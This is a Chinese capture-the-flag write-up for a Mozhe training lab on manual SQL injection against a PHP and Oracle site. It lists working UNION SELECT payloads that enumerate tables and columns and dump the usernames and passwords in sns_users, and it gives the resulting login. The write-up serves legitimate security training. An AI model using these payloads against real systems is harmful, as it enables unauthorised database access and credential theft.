靶场:

https://www.mozhe.cn/bug/detail/M2dRRXJqN3RqWnhvTGRTK1JJdjk5dz09bW96aGUmozhe

背景介绍

安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Apache+PHP+Oracle,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

实训目标

1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解Oracle的数据结构;
4.了解字符串的MD5加解密;

解题方向

手工进行SQL注入测试,获取管理密码登录。

解题思路:

1、找到注入点/new_list.php?id=1

墨者_SQL手工注入漏洞测试(Oracle数据库)

2、判断字段数,此处是2

http://219.153.49.228:48612/new_list.php?id=1 order by 2            //页面正常

http://219.153.49.228:48612/new_list.php?id=1 order by 3            //页面为空

3、判断回显

?id=-1 union select '1','2' from dual

墨者_SQL手工注入漏洞测试(Oracle数据库)

4、我们需要的是用户的账号密码,因此直接查找存在users字样的表名

?id=-1 union select (select table_name from all_tables where rownum=1 and table_name like '%user%'),'null' from dual

墨者_SQL手工注入漏洞测试(Oracle数据库)

5、获取表中列名

?id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'null' from dual

墨者_SQL手工注入漏洞测试(Oracle数据库)

?id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'null' from dual

墨者_SQL手工注入漏洞测试(Oracle数据库)

6、获取数据

?id=-1 union select user_name,user_pwd from "sns_users"

墨者_SQL手工注入漏洞测试(Oracle数据库)

?id=-1 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'

墨者_SQL手工注入漏洞测试(Oracle数据库)

得到两组用户名和密码,第一组不行,第二组登录,得到key

mozhe/926173

墨者_SQL手工注入漏洞测试(Oracle数据库)

相关文章:

  • 2022-01-11
  • 2021-09-13
  • 2021-09-28
  • 2022-01-19
  • 2021-10-07
  • 2021-08-16
  • 2021-11-01
猜你喜欢
  • 2021-09-08
  • 2021-06-30
  • 2021-07-08
  • 2021-05-03
  • 2022-01-04
  • 2021-08-02
  • 2021-09-08
相关资源
相似解决方案